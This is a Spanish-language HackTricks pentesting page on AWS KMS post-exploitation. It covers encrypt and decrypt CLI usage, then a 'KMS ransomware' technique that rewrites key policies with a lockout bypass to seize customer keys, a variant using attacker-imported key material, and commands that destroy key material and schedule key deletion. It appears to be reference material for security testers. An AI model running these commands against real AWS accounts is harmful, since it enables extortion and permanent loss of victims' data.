4.4 KiB
AWS - KMS Post Explotación
{{#include ../../../banners/hacktricks-training.md}}
KMS
Para más información, consulta:
{{#ref}} ../aws-services/aws-kms-enum.md {{#endref}}
Cifrar/Descifrar información
fileb:// y file:// son esquemas URI utilizados en comandos de AWS CLI para especificar la ruta a archivos locales:
fileb://:Lee el archivo en modo binario, comúnmente utilizado para archivos no de texto.file://:Lee el archivo en modo de texto, típicamente utilizado para archivos de texto plano, scripts o JSON que no tienen requisitos de codificación especiales.
Tip
Ten en cuenta que si deseas descifrar algunos datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://)
- Usando una clave simétrica
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Usando una asymmetric key:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Un atacante con acceso privilegiado sobre KMS podría modificar la política de KMS de las claves y otorgar acceso a su cuenta sobre ellas, eliminando el acceso otorgado a la cuenta legítima.
Entonces, los usuarios de la cuenta legítima no podrán acceder a ninguna información de ningún servicio que haya sido cifrado con esas claves, creando un ransomware fácil pero efectivo sobre la cuenta.
Warning
Tenga en cuenta que las claves administradas por AWS no se ven afectadas por este ataque, solo las claves administradas por el cliente.
También tenga en cuenta la necesidad de usar el parámetro
--bypass-policy-lockout-safety-check(la falta de esta opción en la consola web hace que este ataque solo sea posible desde la CLI).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
Tenga en cuenta que si cambia esa política y solo da acceso a una cuenta externa, y luego desde esta cuenta externa intenta establecer una nueva política para devolver el acceso a la cuenta original, no podrá hacerlo porque la acción Put Policy no se puede realizar desde una cuenta cruzada.

Ransomware KMS Genérico
Ransomware KMS Global
Hay otra forma de realizar un ransomware KMS global, que implicaría los siguientes pasos:
- Crear una nueva clave con un material de clave importado por el atacante
- Reencriptar datos antiguos encriptados con la versión anterior con la nueva.
- Eliminar la clave KMS
- Ahora solo el atacante, que tiene el material de clave original, podría ser capaz de desencriptar los datos encriptados
Destruir claves
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
Tenga en cuenta que AWS ahora previene que las acciones anteriores se realicen desde una cuenta cruzada:

{{#include ../../../banners/hacktricks-training.md}}